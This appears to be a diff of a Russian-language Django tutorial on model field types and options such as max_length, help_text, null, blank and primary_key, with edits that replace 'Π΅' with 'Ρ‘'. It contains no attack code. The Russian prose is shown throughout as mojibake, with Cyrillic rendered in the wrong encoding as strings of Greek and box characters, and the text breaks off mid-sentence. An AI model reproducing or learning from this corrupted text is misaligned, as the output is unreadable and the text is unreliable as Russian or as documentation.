+<p>МодСль ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½ΠΎΠ΅ количСство ΠΏΠΎΠ»Π΅ΠΉ любого Ρ‚ΠΈΠΏΠ° - ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ прСдставляСт столбСц Π΄Π°Π½Π½Ρ‹Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π² ΠΎΠ΄Π½ΠΎΠΉ ΠΈΠ· Π½Π°ΡˆΠΈΡ… Ρ‚Π°Π±Π»ΠΈΡ† Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…. КаТдая запись (строка) Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΡΡ‚ΠΎΡΡ‚ΡŒ ΠΈΠ· ΠΎΠ΄Π½ΠΎΠ³ΠΎ значСния ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ поля. Π”Π°Π²Π°ΠΉΡ‚Π΅ рассмотрим ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
<pre class="brush: js notranslate">my_field_name = models.CharField(max_length=20, help_text="Enter field documentation")</pre>
-<p>Наш Π²Ρ‹ΡˆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΈΠΌΠ΅Π΅Ρ‚ ΠΎΠ΄Π½ΠΎ ΠΏΠΎΠ»Π΅, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΠΎΠ΅ my_<code>field_name</code>, Ρ‚ΠΈΠΏΠ°Β <code>models.CharField</code> β€” Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ это ΠΏΠΎΠ»Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ строки Π±ΡƒΠΊΠ²Π΅Π½Π½ΠΎ-Ρ†ΠΈΡ„Ρ€ΠΎΠ²Ρ‹Ρ… символов. Π’ΠΈΠΏΡ‹ ΠΏΠΎΠ»Π΅ΠΉ Π½Π°Π·Π½Π°Ρ‡Π°ΡŽΡ‚ΡΡ с использованиСм ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… классов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ Ρ‚ΠΈΠΏ записи, которая ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для хранСния Π΄Π°Π½Π½Ρ‹Ρ… Π² Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ…, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΊΡ€ΠΈΡ‚Π΅Ρ€ΠΈΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ, ΠΊΠΎΠ³Π΄Π° значСния ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Ρ‹ ΠΈΠ· Ρ„ΠΎΡ€ΠΌΡ‹ HTML (Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ составляСт Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅). Π’ΠΈΠΏΡ‹ ΠΏΠΎΠ»Π΅ΠΉ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚, ΠΊΠ°ΠΊ ΠΏΠΎΠ»Π΅ хранится ΠΈΠ»ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ. Π’ этом случаС ΠΌΡ‹ Π΄Π°Π΅ΠΌ Π½Π°ΡˆΠ΅ΠΌΡƒ полю Π΄Π²Π° Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°:</p>
+<p>Наш Π²Ρ‹ΡˆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΈΠΌΠ΅Π΅Ρ‚ ΠΎΠ΄Π½ΠΎ ΠΏΠΎΠ»Π΅, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΠΎΠ΅ my_<code>field_name</code>, Ρ‚ΠΈΠΏΠ°Β <code>models.CharField</code> β€” Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ это ΠΏΠΎΠ»Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ строки Π±ΡƒΠΊΠ²Π΅Π½Π½ΠΎ-Ρ†ΠΈΡ„Ρ€ΠΎΠ²Ρ‹Ρ… символов. Π’ΠΈΠΏΡ‹ ΠΏΠΎΠ»Π΅ΠΉ Π½Π°Π·Π½Π°Ρ‡Π°ΡŽΡ‚ΡΡ с использованиСм ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… классов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ Ρ‚ΠΈΠΏ записи, которая ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для хранСния Π΄Π°Π½Π½Ρ‹Ρ… Π² Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ…, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΊΡ€ΠΈΡ‚Π΅Ρ€ΠΈΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ, ΠΊΠΎΠ³Π΄Π° значСния ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Ρ‹ ΠΈΠ· Ρ„ΠΎΡ€ΠΌΡ‹ HTML (Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ составляСт Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅). Π’ΠΈΠΏΡ‹ ΠΏΠΎΠ»Π΅ΠΉ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚, ΠΊΠ°ΠΊ ΠΏΠΎΠ»Π΅ хранится ΠΈΠ»ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ. Π’ этом случаС ΠΌΡ‹ Π΄Π°Ρ‘ΠΌ Π½Π°ΡˆΠ΅ΠΌΡƒ полю Π΄Π²Π° Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°:</p>
<ul>
<li><code>max_length=20</code> β€”Β Π£ΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ максимальная Π΄Π»ΠΈΠ½Π° значСния Π² этом ΠΏΠΎΠ»Π΅ составляСт 20 символов.</li>
<li><code>help_text="Enter field documentation"</code> — прСдоставляСт Ρ‚Π΅ΠΊΡΡ‚ΠΎΠ²ΡƒΡŽ ΠΌΠ΅Ρ‚ΠΊΡƒ для отобраТСния, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΌΠΎΡ‡ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ ΡƒΠ·Π½Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ, ΠΊΠΎΠ³Π΄Π° это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ Π²Π²Π΅Π΄Π΅Π½ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ Ρ‡Π΅Ρ€Π΅Π· HTML-Ρ„ΠΎΡ€ΠΌΡƒ.</li>
</ul>
-<p>Имя поля ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для обращСния ΠΊ Π½Π΅ΠΌΡƒ Π² запросах ΠΈ ΡˆΠ°Π±Π»ΠΎΠ½Π°Ρ….Β Π’ полях Ρ‚Π°ΠΊΠΆΠ΅ Π΅ΡΡ‚ΡŒ ΠΌΠ΅Ρ‚ΠΊΠ°, которая задаСтся ΠΊΠ°ΠΊ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ (verbose_name), Π»ΠΈΠ±ΠΎ выводится ΠΏΡƒΡ‚Π΅ΠΌ Π·Π°Π³Π»Π°Π²Π½ΠΎΠΉ Π±ΡƒΠΊΠ²Ρ‹ ΠΏΠ΅Ρ€Π²ΠΎΠΉ Π±ΡƒΠΊΠ²Ρ‹ ΠΈΠΌΠ΅Π½ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ поля ΠΈ Π·Π°ΠΌΠ΅Π½Ρ‹ Π»ΡŽΠ±Ρ‹Ρ… символов подчСркивания ΠΏΡ€ΠΎΠ±Π΅Π»ΠΎΠΌ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, my_field_name Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΌΠ΅Ρ‚ΠΊΡƒ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ <em>My field name</em>).</p>
+<p>Имя поля ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для обращСния ΠΊ Π½Π΅ΠΌΡƒ Π² запросах ΠΈ ΡˆΠ°Π±Π»ΠΎΠ½Π°Ρ….Β Π’ полях Ρ‚Π°ΠΊΠΆΠ΅ Π΅ΡΡ‚ΡŒ ΠΌΠ΅Ρ‚ΠΊΠ°, которая задаётся ΠΊΠ°ΠΊ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ (verbose_name), Π»ΠΈΠ±ΠΎ выводится ΠΏΡƒΡ‚Ρ‘ΠΌ Π·Π°Π³Π»Π°Π²Π½ΠΎΠΉ Π±ΡƒΠΊΠ²Ρ‹ ΠΏΠ΅Ρ€Π²ΠΎΠΉ Π±ΡƒΠΊΠ²Ρ‹ ΠΈΠΌΠ΅Π½ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ поля ΠΈ Π·Π°ΠΌΠ΅Π½Ρ‹ Π»ΡŽΠ±Ρ‹Ρ… символов подчёркивания ΠΏΡ€ΠΎΠ±Π΅Π»ΠΎΠΌ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, my_field_name Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΌΠ΅Ρ‚ΠΊΡƒ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ <em>My field name</em>).</p>
<p>ΠŸΠΎΡ€ΡΠ΄ΠΎΠΊ, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΎΠ±ΡŠΡΠ²Π»ΡΡŽΡ‚ΡΡ поля, Π±ΡƒΠ΄Π΅Ρ‚ Π²Π»ΠΈΡΡ‚ΡŒ Π½Π° ΠΈΡ… порядок ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Ссли модСль отобраТаСтся Π² Ρ„ΠΎΡ€ΠΌΠ΅ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π½Π° сайтС администратора), хотя это ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ.</p>
@@ -117,11 +117,11 @@ class MyModelName(models.Model):
<ul>
<li><a href="https://docs.djangoproject.com/en/2.1/ref/models/fields/#help-text">help_text</a>: ΠŸΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ Ρ‚Π΅ΠΊΡΡ‚ΠΎΠ²ΡƒΡŽ ΠΌΠ΅Ρ‚ΠΊΡƒ для HTML-Ρ„ΠΎΡ€ΠΌ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π½Π° сайтС администратора), ΠΊΠ°ΠΊ описано Π²Ρ‹ΡˆΠ΅.</li>
<li><a href="https://docs.djangoproject.com/en/2.1/ref/models/fields/#verbose-name">verbose_name</a>:Β Π£Π΄ΠΎΠ±ΠΎΡ‡ΠΈΡ‚Π°Π΅ΠΌΠΎΠ΅ имя для поля, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠΎΠ³ΠΎ Π² ΠΏΠΎΠ»Π΅Β ΠΌΠ΅Ρ‚ΠΊΠΈ. Если Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½ΠΎ, Django Π²Ρ‹Π²Π΅Π΄Π΅Ρ‚Β ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠ΅ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ ΠΎΡ‚ ΠΈΠΌΠ΅Π½ΠΈ поля.</li>
- <li><a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#default">default</a>:Β Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для поля. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΠ»ΠΈ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌΡ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΈ Π² этом случаС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° создаСтся новая запись.</li>
+ <li><a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#default">default</a>:Β Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для поля. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΠ»ΠΈ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌΡ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΈ Π² этом случаС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° создаётся новая запись.</li>
<li><a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#null">null</a>: Если True, Django Π±ΡƒΠ΄Π΅Ρ‚ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ пустыС значСния ΠΊΠ°ΠΊ NULL Π² Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ… для ΠΏΠΎΠ»Π΅ΠΉ, Π³Π΄Π΅ это умСстно (CharField вмСсто этого сохранит ΠΏΡƒΡΡ‚ΡƒΡŽ строку). По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ False.</li>
<li><a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#blank">blank</a>: Если True, ΠΏΠΎΠ»Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ пустым Π² Π²Π°ΡˆΠΈΡ… Ρ„ΠΎΡ€ΠΌΠ°Ρ…. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ False, Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Ρ„ΠΎΡ€ΠΌΡ‹ Django заставит вас ввСсти Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. Π­Ρ‚ΠΎ часто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ с null = True, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒ пустыС значСния, Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π±Π°Π·Π° Π΄Π°Π½Π½Ρ‹Ρ… ΠΌΠΎΠ³Π»Π° ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ ΠΈΡ… ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ.</li>
<li><a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#choices">choices</a>:Β Π“Ρ€ΡƒΠΏΠΏΠ° Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² для этого поля. Если это прСдусмотрСно, ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ Ρ„ΠΎΡ€ΠΌΡ‹ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ»Π΅ΠΌ Π²Ρ‹Π±ΠΎΡ€Π° с этими Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π°ΠΌΠΈ вмСсто стандартного тСкстового поля.</li>
- <li><a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#primary-key">primary_key</a>: Если True, Π·Π°Π΄Π°Π΅Ρ‚ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π΅ ΠΏΠΎΠ»Π΅ Π² качСствС ΠΏΠ΅Ρ€Π²ΠΈΡ‡Π½ΠΎΠ³ΠΎ ΠΊΠ»ΡŽΡ‡Π° для ΠΌΠΎΠ΄Π΅Π»ΠΈ (ΠΏΠ΅Ρ€Π²ΠΈΡ‡Π½Ρ‹ΠΉ ΠΊΠ»ΡŽΡ‡ - это ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΉ столбСц Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Π½Ρ‹ΠΉ для ΠΎΠ΄Π½ΠΎΠ·Π½Π°Ρ‡Π½ΠΎΠΉ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ всСх Ρ€Π°Π·Π½Ρ‹Ρ… записСй Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹). Если Π² качСствС ΠΏΠ΅Ρ€Π²ΠΈΡ‡Π½ΠΎΠ³ΠΎ ΠΊΠ»ΡŽΡ‡Π° Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½ΠΎ ΠΏΠΎΠ»Π΅, Django автоматичСски Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ для этой Ρ†Π΅Π»ΠΈ ΠΏΠΎΠ»Π΅.</li>
+ <li><a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#primary-key">primary_key</a>: Если True, Π·Π°Π΄Π°Ρ‘Ρ‚ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π΅ ΠΏΠΎΠ»Π΅ Π² качСствС ΠΏΠ΅Ρ€Π²ΠΈΡ‡Π½ΠΎΠ³ΠΎ ΠΊΠ»ΡŽΡ‡Π° для ΠΌΠΎΠ΄Π΅Π»ΠΈ (ΠΏΠ΅Ρ€Π²ΠΈΡ‡Π½Ρ‹ΠΉ ΠΊΠ»ΡŽΡ‡ - это ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΉ столбСц Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Π½Ρ‹ΠΉ для ΠΎΠ΄Π½ΠΎΠ·Π½Π°Ρ‡Π½ΠΎΠΉ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ всСх Ρ€Π°Π·Π½Ρ‹Ρ… записСй Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹). Если Π² качСствС ΠΏΠ΅Ρ€Π²ΠΈΡ‡Π½ΠΎΠ³ΠΎ ΠΊΠ»ΡŽΡ‡Π° Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½ΠΎ ΠΏΠΎΠ»Π΅, Django автоматичСски Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ для этой Ρ†Π΅Π»ΠΈ ΠΏΠΎΠ»Π΅.</li>
</ul>
<p>Π•ΡΡ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΡ… Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² - Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ <a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/">full list of field options here</a>.</p>
@@ -133,7 +133,7 @@ class MyModelName(models.Model):
<ul>
<li><a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#django.db.models.CharField">CharField</a> Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для опрСдСлСния строк фиксированной Π΄Π»ΠΈΠ½Ρ‹ ΠΎΡ‚ ΠΊΠΎΡ€ΠΎΡ‚ΠΊΠΎΠΉ Π΄ΠΎ срСднСй. Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ max_length для хранСния Π΄Π°Π½Π½Ρ‹Ρ….</li>
<li><a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#django.db.models.TextField">TextField</a> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для Π±ΠΎΠ»ΡŒΡˆΠΈΡ… строк ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½ΠΎΠΉ Π΄Π»ΠΈΠ½Ρ‹. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ <code>max_length</code> для поля, Π½ΠΎ это ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚ΠΎΠ³Π΄Π°, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»Π΅ отобраТаСтся Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ… (ΠΎΠ½ΠΎ Π½Π΅ примСняСтся Π½Π° ΡƒΡ€ΠΎΠ²Π½Π΅ Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…).</li>
- <li><a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#django.db.models.IntegerField" title="django.db.models.IntegerField">IntegerField</a> это ΠΏΠΎΠ»Π΅ для хранСния Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ (Ρ†Π΅Π»ΠΎΠ³ΠΎ числа) ΠΈ для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Π²Π²Π΅Π΄Π΅Π½Π½Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ Π² Π²ΠΈΠ΄Π΅ Ρ†Π΅Π»Ρ‹Ρ… чисСл Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ….</li>
+ <li><a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#django.db.models.IntegerField" title="django.db.models.IntegerField">IntegerField</a> это ΠΏΠΎΠ»Π΅ для хранСния Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ (Ρ†Π΅Π»ΠΎΠ³ΠΎ числа) ΠΈ для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Π²Π²Π΅Π΄Ρ‘Π½Π½Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ Π² Π²ΠΈΠ΄Π΅ Ρ†Π΅Π»Ρ‹Ρ… чисСл Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ….</li>
<li><a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#django.db.models.DateField">DateField</a> ΠΈΒ <a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#django.db.models.DateTimeField">DateTimeField</a> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для хранСния / прСдставлСния Π΄Π°Ρ‚ ΠΈ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ Π΄Π°Ρ‚Π΅ / Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ (ΠΊΠ°ΠΊ Python datetime.date ΠΈ datetime.datetime, соотвСтствСнно). Π­Ρ‚ΠΈ поля ΠΌΠΎΠ³ΡƒΡ‚ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΎΠ±ΡŠΡΠ²Π»ΡΡ‚ΡŒ (Π²Π·Π°ΠΈΠΌΠΎΠΈΡΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‰ΠΈΠ΅) 